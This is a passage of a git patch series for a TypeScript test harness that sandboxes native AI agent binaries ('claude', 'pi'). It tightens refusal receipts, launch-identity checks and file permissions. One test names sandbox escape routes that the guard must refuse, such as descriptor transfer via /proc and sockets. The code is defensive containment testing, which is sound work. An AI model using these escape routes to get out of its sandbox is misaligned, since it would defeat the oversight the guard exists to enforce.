try{expect(fs.existsSync(result.directory),"REFUSED_PROCESS_RELEASES_TRIPWIRE_DIRECTORY").toBe(false);expect(fs.existsSync(result.shared),"REFUSED_PROCESS_RELEASES_SHARED_STUB").toBe(false);} - finally{fs.rmSync(result.directory,{recursive:true,force:true});fs.rmSync(result.shared,{recursive:true,force:true});} + try{expect(fs.existsSync(result.directory),"REFUSED_PROCESS_RELEASES_TRIPWIRE_DIRECTORY").toBe(false);expect(fs.existsSync(result.shared),"REFUSED_PROCESS_RELEASES_SHARED_STUB").toBe(false);expect(fs.existsSync(result.policy),"REFUSED_PROCESS_RELEASES_SOCKET_POLICY").toBe(false);} + finally{fs.rmSync(result.directory,{recursive:true,force:true});fs.rmSync(result.shared,{recursive:true,force:true});if(result.policy)fs.rmSync(dirname(result.policy),{recursive:true,force:true});} }); for(const signal of ["SIGKILL","SIGTERM"] as const)test(`unknown shell preserves payload lifetime and closes stdout on ${signal}`,async()=>{ @@ -252,10 +252,10 @@ for(const signal of ["SIGKILL","SIGTERM"] as const)test(`unknown shell preserves for(const mode of ["term-trap","self-signal"] as const)test(`unknown signal result matches the unguarded payload: ${mode}`,async()=>{ const code=fixtureDiscovery+` - const mode=${JSON.stringify(mode)},script=mode==="term-trap"?'i=1; trap "printf trapped; exit 23" TERM; printf "ready\\n"; IFS= read -r go':'i=1; kill -SEGV $$'; - async function run(argv,env){const c=spawn(argv[0],argv.slice(1),{env,stdio:["pipe","pipe","pipe"]});let out="",err="";const closed=new Promise(resolve=>c.once("close",(code,signal)=>resolve({code,signal})));c.stdout.on("data",chunk=>{out+=chunk;if(mode==="term-trap"&&out.includes("ready\\n"))c.kill("SIGTERM");});c.stderr.on("data",chunk=>err+=chunk);let watchdog;try{const result=await Promise.race([closed,new Promise((_,reject)=>{watchdog=setTimeout(()=>{c.kill("SIGKILL");reject(Error("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN"));},${watchdogMs(5000)});})]);return {...result,out,err};}finally{clearTimeout(watchdog);}} + const mode=${JSON.stringify(mode)},script=mode==="term-trap"?'i=1; trap "printf trapped; /bin/sleep 0.1; exit 23" TERM; printf "ready\\n"; IFS= read -r go':'i=1; kill -SEGV $$'; + async function run(argv,env){const c=spawn(argv[0],argv.slice(1),{env,stdio:["pipe","pipe","pipe"]});let out="",err="",sent=0;const closed=new Promise(resolve=>c.once("close",(code,signal)=>resolve({code,signal})));c.stdout.on("data",chunk=>{out+=chunk;if(mode==="term-trap"&&out.includes("ready\\n")&&!sent){sent++;c.kill("SIGTERM");}});c.stderr.on("data",chunk=>err+=chunk);let watchdog;try{const result=await Promise.race([closed,new Promise((_,reject)=>{watchdog=setTimeout(()=>{c.kill("SIGKILL");reject(Error("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN "+JSON.stringify({out,err,sent,pid:c.pid,guarded:argv[1]==="supervise"})));},${watchdogMs(5000)});})]);if(mode==="term-trap"&&sent!==1)throw Error("ONE_CALLER_SIGNAL_REQUIRED");return {...result,out,err};}finally{clearTimeout(watchdog);}} const original=await run(["/bin/sh","-c",script],process.env),plan=guard.nativeUnknownBoundary(["/bin/sh","-c",script],{env:process.env}); - try{const guarded=await run(plan.argv,plan.env);if(JSON.stringify(guarded)!==JSON.stringify(original))throw Error("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN "+JSON.stringify({original,guarded}));console.log("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN");}finally{plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; + try{const guarded=await run(plan.argv,plan.env);if(mode==="term-trap"&&(guarded.out.match(/trapped/g)||[]).length!==1)throw Error("ONE_CALLER_SIGNAL_RUNS_TRAP_ONCE "+JSON.stringify(guarded));if(JSON.stringify(guarded)!==JSON.stringify(original))throw Error("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN "+JSON.stringify({original,guarded}));console.log("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN");}finally{plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(exit,"PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN "+err).toBe(0);expect(out).toContain("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN"); }); diff --git a/tests/test-determinism.test.ts b/tests/test-determinism.test.ts index 331a1332fd..8994e3fa60 100644 --- a/tests/test-determinism.test.ts +++ b/tests/test-determinism.test.ts @@ -17,7 +17,7 @@ import singleFileRuns from "./fixtures/determinism-single-file-runs.json"; const ROOT = join(import.meta.dir, ".."); // The wrapper, its preload and what they import, as tests/experiment-tier.test.ts copies them. const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", - "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "native-rtk-diagnostics.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", + "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "native-rtk-diagnostics.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs", "test-determinism.ts", "determinism-plan.ts", "proof-shards.ts", "test-deadlines.ts", "test-deadline-preload.ts"]; const scratch: string[] = []; diff --git a/tests/test-script.test.ts b/tests/test-script.test.ts index f8d766db24..66564aebd3 100644 --- a/tests/test-script.test.ts +++ b/tests/test-script.test.ts @@ -33,7 +33,7 @@ async function run(args: string[], env: Record = {}) { if (existsSync(script)) { mkdirSync(join(dir, "scripts")); cpSync(script, join(dir, "scripts/test.ts")); - for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", helper), join(dir, "scripts", helper)); } // The actual preload also owns cleanup for the shared CLI harness. diff --git a/tests/test-shards.test.ts b/tests/test-shards.test.ts index 77b284647d..c10d32238c 100644 --- a/tests/test-shards.test.ts +++ b/tests/test-shards.test.ts @@ -59,7 +59,7 @@ describe("balanced shards run the root command for real", () => { mkdirSync(join(dir, "scripts")); const manifest = JSON.parse(readFileSync(join(ROOT, "package.json"), "utf8")); writeFileSync(join(dir, "package.json"), JSON.stringify({ name: "fixture", scripts: { test: manifest.scripts.test } })); - for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/workspace-lease.test.ts b/tests/workspace-lease.test.ts index c0a1e5c274..2b721f943e 100644 --- a/tests/workspace-lease.test.ts +++ b/tests/workspace-lease.test.ts @@ -281,7 +281,7 @@ test("the real pinned container wrapper waits for host ownership of its mounted test("direct Bun test preserves its selector, timeout and offline preload while waiting", async () => { const root = fixture(); mkdirSync(join(root, "scripts")); mkdirSync(join(root, "packages/core/tests"), { recursive: true }); - for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { + for (const name of ["test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs"]) { copyFileSync(join(project, "scripts", name), join(root, "scripts", name)); } copyFileSync(join(project, "packages/core/tests/cli-harness.ts"), join(root, "packages/core/tests/cli-harness.ts")); From 1b69a4371f79ec5cc1695628ea97d2d0a9d19028 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 20:56:25 +0000 Subject: [PATCH 117/187] fix(test): retain refusal evidence and private collector permissions --- scripts/native-test-receipts.ts | 8 ++++++-- scripts/native-title-collector.ts | 4 ++-- tests/native-receipt-channel.test.ts | 28 ++++++++++++++++++++++++++++ tests/native-title-collector.test.ts | 3 ++- tests/policy-write-boundary.test.ts | 1 + 5 files changed, 39 insertions(+), 5 deletions(-) diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts index 445b675d45..c77ae409ea 100644 --- a/scripts/native-test-receipts.ts +++ b/scripts/native-test-receipts.ts @@ -74,7 +74,7 @@ function owner():Sink|undefined { return sink; } const created=createSink(true);state.sink=created.sink;state.directory=created.directory; - process.once("exit",()=>{try{flushNativeReceipts();}catch{process.exitCode=1;}finally{closeSync(created.sink.fd);rmSync(created.directory,{recursive:true,force:true});}}); + process.prependOnceListener("exit",()=>{try{flushNativeReceipts();}catch{process.exitCode=1;}finally{closeSync(created.sink.fd);rmSync(created.directory,{recursive:true,force:true});}}); return created.sink; } export function flushNativeReceipts():void { @@ -88,7 +88,11 @@ export function flushNativeReceipts():void { } } export function nativeReceipt(value:Record):void { - const sink=owner();if(!sink)return;if(!same(sink))throw Error("Native receipt descriptor identity changed"); + const sink=owner();if(!sink){ + // Lost delivery cannot turn a boundary refusal into a successful local run. + if(value.success===false){writeSync(2,JSON.stringify(value)+"\n");if(["native-offline-boundary","native-offline-invocation-failed","native-offline-route-denial"].includes(String(value.kind))){process.exitCode=1;process.prependOnceListener("exit",()=>{process.exitCode=1;});}} + return; + }if(!same(sink))throw Error("Native receipt descriptor identity changed"); writeSync(sink.fd,JSON.stringify(value)+"\n");flushNativeReceipts(); } /** Parse bwrap's option boundary; payloads need not use an explicit --. */ diff --git a/scripts/native-title-collector.ts b/scripts/native-title-collector.ts index 7dcc9b16db..e36eafcff9 100644 --- a/scripts/native-title-collector.ts +++ b/scripts/native-title-collector.ts @@ -1,5 +1,5 @@ /** Test-owned projection of the real product OTLP collector; never ambient loopback. */ -import {lstatSync,readFileSync,writeFileSync} from "node:fs"; +import {chmodSync,lstatSync,readFileSync,writeFileSync} from "node:fs"; import {join} from "node:path"; const serve=Bun.serve.bind(Bun),fetch=Bun.fetch.bind(Bun); const TITLE_ENTRY="/** Trusted test-only endpoint, using the turn-proxy TCP-to-Unix handoff. */\nimport {createServer,connect,type Socket} from \"node:net\";\nconst [socket,port,separator,...command]=process.argv.slice(2);\nif(socket!==\"/tmp/native-relay/title.sock\"||!port||!/^\\d+$/.test(port)||Number(port)<1||Number(port)>65535||separator!==\"--\"||!command[0]?.startsWith(\"/\"))throw Error(\"native title endpoint unavailable\");\nconst peers=new Set();\nconst track=(peer:Socket)=>{peers.add(peer);peer.on(\"error\",()=>{});peer.once(\"close\",()=>peers.delete(peer));return peer;};\nconst server=createServer(peer=>{track(peer);const upstream=track(connect(socket));peer.pipe(upstream);upstream.pipe(peer);peer.once(\"close\",()=>upstream.destroy());upstream.once(\"close\",()=>peer.destroy());});\nawait new Promise((resolve,reject)=>{server.once(\"error\",reject);server.listen(Number(port),\"127.0.0.1\",()=>{server.off(\"error\",reject);resolve();});});\nconst child=Bun.spawn(command,{env:process.env,stdin:\"inherit\",stdout:\"inherit\",stderr:\"inherit\"});\nconst terminate=(signal:NodeJS.Signals)=>child.kill(signal);\nprocess.on(\"SIGTERM\",terminate);process.on(\"SIGINT\",terminate);\ntry{process.exitCode=await child.exited;}finally{process.off(\"SIGTERM\",terminate);process.off(\"SIGINT\",terminate);for(const peer of peers)peer.destroy();server.close();}\n"; @@ -21,7 +21,7 @@ export function prepareNativeTitleCollector(env:Record, let entryStamp:ReturnType|undefined; const entry=join(directory,"title-entry.ts"),bytes=Buffer.from(TITLE_ENTRY); const validate=()=>{if(entryStamp){const now=lstatSync(entry);if(!now.isFile()||now.nlink!==1||now.dev!==entryStamp.dev||now.ino!==entryStamp.ino||(now.mode&0o777)!==0o444||!readFileSync(entry).equals(bytes))throw Error("native title collector entry changed");}if(!role.active||!collectors.has(role)||role.scope!==scope||!scope.isLive()||env[endpointKey]!==role.endpoint||env[headersKey]!==`Authorization=${role.token}`)throw Error("native title collector declaration unavailable");}; - writeFileSync(entry,bytes,{mode:0o444});entryStamp=lstatSync(entry); + writeFileSync(entry,bytes,{mode:0o444});chmodSync(entry,0o444);entryStamp=lstatSync(entry); const socket=join(directory,"title.sock"); const handle=async(request:Request)=>{ try{validate();}catch{return new Response(null,{status:403});} diff --git a/tests/native-receipt-channel.test.ts b/tests/native-receipt-channel.test.ts index 4bb5415f39..8eccdd88b1 100644 --- a/tests/native-receipt-channel.test.ts +++ b/tests/native-receipt-channel.test.ts @@ -125,3 +125,31 @@ for(const mode of ["reused-owner","closed-fd","permission","forged-token"] as co expect(err,"INVALID_AUTHORITY_NEVER_DEGRADES").not.toContain("native-receipt-degraded"); }finally{capture.dispose();} }); + +for(const mode of ["dead-owner","orphaned"] as const)for(const refusal of [false,true])test(`expired receipt delivery: ${mode}, refusal=${refusal}`,async()=>{ + const capture=captureNativeReceipts(); + try{ + const script=`import * as fs from "node:fs";import {spyOn} from "bun:test";import {nativeReceipt,inheritNativeReceipts} from ${JSON.stringify(receiptModule)}; + const state=globalThis[Symbol.for("brain-kit.test.native-receipt-owner")],sink=state.sink,read=fs.readFileSync; + if(!sink)throw Error("LIVE_INHERITED_OWNER_REQUIRED"); + const restore=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{ + if(${JSON.stringify(mode)}==="dead-owner"&&path==="/proc/"+sink.ownerPid+"/stat")throw Object.assign(Error("gone"),{code:"ENOENT"}); + if(${JSON.stringify(mode)}==="orphaned"&&path==="/proc/"+process.pid+"/status")return String(read(path,...args)).replace(/^PPid:.*$/m,"PPid: 1"); + return read(path,...args); + }); + try{ + nativeReceipt({fixture:"must-not-write"}); + const child=inheritNativeReceipts({env:{}},["/usr/bin/true"],"pipe"); + if(child.options.env.BRAIN_NATIVE_RECEIPT||state.sink||!state.degraded)throw Error("EXPIRED_OWNER_RETAINS_AUTHORITY"); + nativeReceipt({fixture:"must-not-write-again"});console.log("WRITE_NOTHING_AFTER_OWNER_IDENTITY_EXPIRES"); + if(${refusal}){nativeReceipt({kind:"native-offline-boundary",success:false,reason:"fixed fixture refusal"});process.exit(0);} + }finally{restore.mockRestore();}`; + const child=Bun.spawn([process.execPath,"-e",script],{env:{...process.env,...capture.env},stdout:"pipe",stderr:"pipe"}); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(exit,"A_REFUSAL_STILL_FAILS_LOCALLY "+err).toBe(refusal?1:0); + expect(capture.read(),"WRITE_NOTHING_AFTER_OWNER_IDENTITY_EXPIRES").toBe(""); + expect(out).toContain("WRITE_NOTHING_AFTER_OWNER_IDENTITY_EXPIRES"); + expect(err.match(/native-receipt-degraded/g),"ONE_FIXED_DEGRADED_RECORD").toHaveLength(1); + if(refusal)expect(err,"REFUSAL_REMAINS_VISIBLE_WITHOUT_OWNER").toContain("fixed fixture refusal"); + }finally{capture.dispose();} +}); diff --git a/tests/native-title-collector.test.ts b/tests/native-title-collector.test.ts index 8163e21af7..5696a58d5b 100644 --- a/tests/native-title-collector.test.ts +++ b/tests/native-title-collector.test.ts @@ -11,7 +11,8 @@ for(const mode of ["exact","wrong-token","wrong-path","stale","foreign-scope","d const release=registerNativeTitleCollector(env,scope);let prepared:ReturnType; try{ if(mode==="stale")release(); - prepared=prepareNativeTitleCollector(env,mode==="foreign-scope"?{isLive:()=>true}:scope,root); + const mask=process.umask(0o077);try{prepared=prepareNativeTitleCollector(env,mode==="foreign-scope"?{isLive:()=>true}:scope,root);}finally{process.umask(mask);} + if(prepared)expect(statSync(join(root,"title-entry.ts")).mode&0o777,"ENTRY_MODE_IS_INDEPENDENT_OF_PRIVATE_UMASK").toBe(0o444); expect(env,"PRODUCT_OTLP_ENV_IS_UNCHANGED").toEqual(saved); if(mode==="stale"||mode==="foreign-scope"){expect(prepared,"UNREGISTERED_COLLECTOR_GETS_NO_BROKER_ENDPOINT").toBeUndefined();return;} expect(prepared).toBeDefined(); diff --git a/tests/policy-write-boundary.test.ts b/tests/policy-write-boundary.test.ts index c640489659..e7cf1bf896 100644 --- a/tests/policy-write-boundary.test.ts +++ b/tests/policy-write-boundary.test.ts @@ -115,6 +115,7 @@ for (const adapter of ["claude", "pi"] as const) describe(`${adapter} policy-wri // policy-backed stdio, socket and /proc descriptor transfer, mappings, // /proc root/cwd views and the server/donor by host pid. const nativeAttacks=attacks(r); + if(adapter==="pi")for(const attack of nativeAttacks)expect(attack.transferRefusal,"PI_RETAINS_REAL_DESCRIPTOR_TRANSFER_PROOF").toBeUndefined(); const companions=adapter==="claude"?r.receipt.companionReports:[]; if(adapter==="claude"){ expect(companions,"PRODUCT_DESCRIPTOR_TRANSFER_COMPANION").toHaveLength(1); From 4c53162b5b1adf178c0c9ef19d9d37ba285130d0 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 21:00:41 +0000 Subject: [PATCH 118/187] fix(test): recheck readiness launch identity before release and cleanup --- scripts/native-launch-ready.ts | 9 ++++++--- scripts/test-native-guard.ts | 4 ++-- tests/native-launch-ready.test.ts | 22 +++++++++++++++++++++- 3 files changed, 29 insertions(+), 6 deletions(-) diff --git a/scripts/native-launch-ready.ts b/scripts/native-launch-ready.ts index 0a3de5f652..4ca6c7130a 100644 --- a/scripts/native-launch-ready.ts +++ b/scripts/native-launch-ready.ts @@ -25,13 +25,16 @@ export function prepareNativeLaunchReadiness(timeoutMs=watchdogMs(30000)){ const stamps=[fstatSync(fd,{bigint:true}),fstatSync(release,{bigint:true})]; return {directory,executable,mounts:["--ro-bind",directory,target,"--ro-bind",executable,executable], wrap:(argv:readonly string[])=>[executable,"payload",target+"/ready",target+"/go","--",...argv], - afterSpawn(pid:number){ + afterSpawn(pid:number,validate:()=>void=()=>{}){ if(closed||used)throw Error("native guard readiness channel expired");used=true; + const start=()=>{const fields=readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").trim().split(/\s+/);if(!fields[19]||["Z","X"].includes(fields[0]!))throw Error("native guard launch identity unavailable");return fields[19];}; + let ownedStart:string|undefined; try{ + ownedStart=start(); for(const [index,path]of [ready,go].entries()){const now=lstatSync(path,{bigint:true}),held=stamps[index]!;if(!now.isFIFO()||now.dev!==held.dev||now.ino!==held.ino||now.nlink!==1n||(now.mode&0o777n)!==0o600n)throw Error("native guard readiness channel changed");} const result=spawnSync([executable,"wait",String(timeoutMs)],{env:{},stdin:"ignore",stdout:"pipe",stderr:"pipe",stdio:["ignore","pipe","pipe",fd!],timeout:timeoutMs+1000}); - if(result.exitCode!==0)throw Error("native guard setup did not become ready");writeSync(release!,"G"); - }catch(error){try{process.kill(pid,"SIGKILL");}catch{}throw error;} + if(result.exitCode!==0)throw Error("native guard setup did not become ready");if(start()!==ownedStart)throw Error("native guard launch identity changed");validate();if(start()!==ownedStart)throw Error("native guard launch identity changed");writeSync(release!,"G"); + }catch(error){try{if(ownedStart&&start()===ownedStart)process.kill(pid,"SIGKILL");}catch{}throw error;} finally{dispose();} },dispose}; }catch(error){dispose();throw error;} diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index f48cb8c402..af0a4a2884 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -768,7 +768,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const audited = auditNativeLaunch(argv, options.receiptMode==="restricted-probe"?[executable]:expectedNativeExec(command, args, options), () => { readiness?.dispose();turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); },undefined,options.receiptMode==="restricted-probe"); beforeLaunch(); guardedPlans.add(audited.argv); - const boundary={ ...audited, env: {}, beforeLaunch(){beforeLaunch();audited.beforeLaunch();},afterSpawn(pid:number){audited.afterSpawn(pid);try{readiness?.afterSpawn(pid);}catch{refuse("native guard setup did not become ready");}} };guardedBoundaries.set(audited.argv,boundary);return boundary; + const boundary={ ...audited, env: {}, beforeLaunch(){beforeLaunch();audited.beforeLaunch();},afterSpawn(pid:number){audited.afterSpawn(pid);try{readiness?.afterSpawn(pid,beforeLaunch);}catch{refuse("native guard setup did not become ready");}} };guardedBoundaries.set(audited.argv,boundary);return boundary; } catch (error) { readiness?.dispose();turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } @@ -1959,7 +1959,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon timer=setInterval(()=>{inspect();if(disposing)finish();},20);timer.unref(); const encoded=JSON.stringify(argv); const launchEnv:Record={...(options.env??process.env),...(outerAudit?.env??sharedAudit?.env??{})};delete launchEnv.BRAIN_NATIVE_RECEIPT; - const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);try{launchReady?.afterSpawn(pid);}catch{refuse("restriction cannot be enforced");}},beforeLaunch(){sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; + const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);try{launchReady?.afterSpawn(pid,()=>sharedAudit?.beforeLaunch());}catch{refuse("restriction cannot be enforced");}},beforeLaunch(){sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; }catch(error){cleanup();throw error;} } diff --git a/tests/native-launch-ready.test.ts b/tests/native-launch-ready.test.ts index 18b579668a..919f70c4ab 100644 --- a/tests/native-launch-ready.test.ts +++ b/tests/native-launch-ready.test.ts @@ -1,4 +1,5 @@ -import {expect,test} from "bun:test"; +import * as fs from "node:fs"; +import {expect,spyOn,test} from "bun:test"; import {spawn} from "node:child_process"; import {join} from "node:path"; import {existsSync,writeFileSync,unlinkSync} from "node:fs"; @@ -44,3 +45,22 @@ test("the original product deadline still rejects a payload that is slow after r try{ready.afterSpawn(child.pid!);const result=await Promise.race([exited,new Promise(resolve=>{timer=setTimeout(()=>resolve(124),VERSION_PROBE_TIMEOUT_MS);})]);expect(result,"SLOW_PAYLOAD_STILL_HITS_PRODUCT_DEADLINE").toBe(124);} finally{clearTimeout(timer);child.kill("SIGKILL");await exited;ready.dispose();} },watchdogMs(30000)); + +test("readiness refuses a reused launch identity without releasing or killing its replacement",async()=>{ + const ready=prepareNativeLaunchReadiness(),argv=ready.wrap(["/usr/bin/printf","UNSAFE_RELEASE"]).map(word=>word.replace("/run/brain-test-native-ready",ready.directory)); + const child=spawn(argv[0]!,argv.slice(1),{stdio:["ignore","pipe","pipe"]}),closed=new Promise(resolve=>child.once("close",()=>resolve())); + let out="",reads=0;child.stdout.on("data",part=>{out+=part;});const read=fs.readFileSync; + const changed=spyOn(fs,"readFileSync").mockImplementation(((path:fs.PathOrFileDescriptor,...args:unknown[])=>{ + const value=Reflect.apply(read,fs,[path,...args]);if(path===`/proc/${child.pid}/stat`&&++reads>1){const parts=String(value).replace(/^.*\) /s,"").trim().split(/\s+/);parts[19]="0";return "fixture) "+parts.join(" ");}return value; + }) as typeof fs.readFileSync); + try{expect(()=>ready.afterSpawn(child.pid!),"REUSED_PID_NEVER_RELEASES_THE_PAYLOAD").toThrow("launch identity changed");} + finally{changed.mockRestore();ready.dispose();} + await closed;expect(out,"NO_PAYLOAD_AFTER_LAUNCH_IDENTITY_CHANGE").toBe(""); +}); + +test("authority revoked during guard setup refuses at readiness before payload exec",async()=>{ + const ready=prepareNativeLaunchReadiness(),argv=ready.wrap(["/usr/bin/printf","UNSAFE_RELEASE"]); + const child=spawn(argv[0]!,argv.slice(1),{stdio:["ignore","pipe","pipe"]}),closed=new Promise(resolve=>child.once("close",()=>resolve()));let out="";child.stdout.on("data",part=>{out+=part;}); + try{expect(()=>ready.afterSpawn(child.pid!,()=>{throw Error("fixture authority expired");}),"AUTHORITY_IS_LIVE_AT_THE_EXEC_BARRIER").toThrow("fixture authority expired");await closed;expect(out,"REVOKED_AUTHORITY_NEVER_EXECUTES").toBe("");expect(child.exitCode===null||child.exitCode!==0).toBe(true);} + finally{child.kill("SIGKILL");ready.dispose();} +}); From 714170a077b765db01bc4af19bed4fccac39a0b2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 21:52:51 +0000 Subject: [PATCH 119/187] fix(test): keep exit refusals visible after receipt sink cleanup --- scripts/native-test-receipts.ts | 2 +- tests/native-receipt-channel.test.ts | 18 ++++++++++++++++++ 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts index c77ae409ea..3d1433f064 100644 --- a/scripts/native-test-receipts.ts +++ b/scripts/native-test-receipts.ts @@ -74,7 +74,7 @@ function owner():Sink|undefined { return sink; } const created=createSink(true);state.sink=created.sink;state.directory=created.directory; - process.prependOnceListener("exit",()=>{try{flushNativeReceipts();}catch{process.exitCode=1;}finally{closeSync(created.sink.fd);rmSync(created.directory,{recursive:true,force:true});}}); + process.prependOnceListener("exit",()=>{try{flushNativeReceipts();}catch{process.exitCode=1;}finally{state.sink=undefined;state.degraded=true;closeSync(created.sink.fd);rmSync(created.directory,{recursive:true,force:true});}}); return created.sink; } export function flushNativeReceipts():void { diff --git a/tests/native-receipt-channel.test.ts b/tests/native-receipt-channel.test.ts index 8eccdd88b1..3aeaaf47d9 100644 --- a/tests/native-receipt-channel.test.ts +++ b/tests/native-receipt-channel.test.ts @@ -153,3 +153,21 @@ for(const mode of ["dead-owner","orphaned"] as const)for(const refusal of [false if(refusal)expect(err,"REFUSAL_REMAINS_VISIBLE_WITHOUT_OWNER").toContain("fixed fixture refusal"); }finally{capture.dispose();} }); + +test("an owner's exit refusal survives receipt sink cleanup and fails locally",async()=>{ + const {spawn}=await import("node:child_process"); + const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"),network=join(import.meta.dir,"../scripts/test-network-guard.ts"),binary=join(import.meta.dir,"../packages/core/src/providers/agents/claude-binary.ts"); + const script=`import {installNetworkGuard} from ${JSON.stringify(network)};import {refuseNativeClaude} from ${JSON.stringify(guard)};import {bundledClaudeBinary} from ${JSON.stringify(binary)}; + installNetworkGuard();try{refuseNativeClaude(bundledClaudeBinary());}catch{}process.exit(0);`; + // This process must own its sink, rather than inherit the test runner's one. + // Only metadata is inspected; the installed runtime is never executed. + const env={...process.env};delete env.BRAIN_NATIVE_RECEIPT; + const owner=`const env={...process.env};delete env.BRAIN_NATIVE_RECEIPT;const 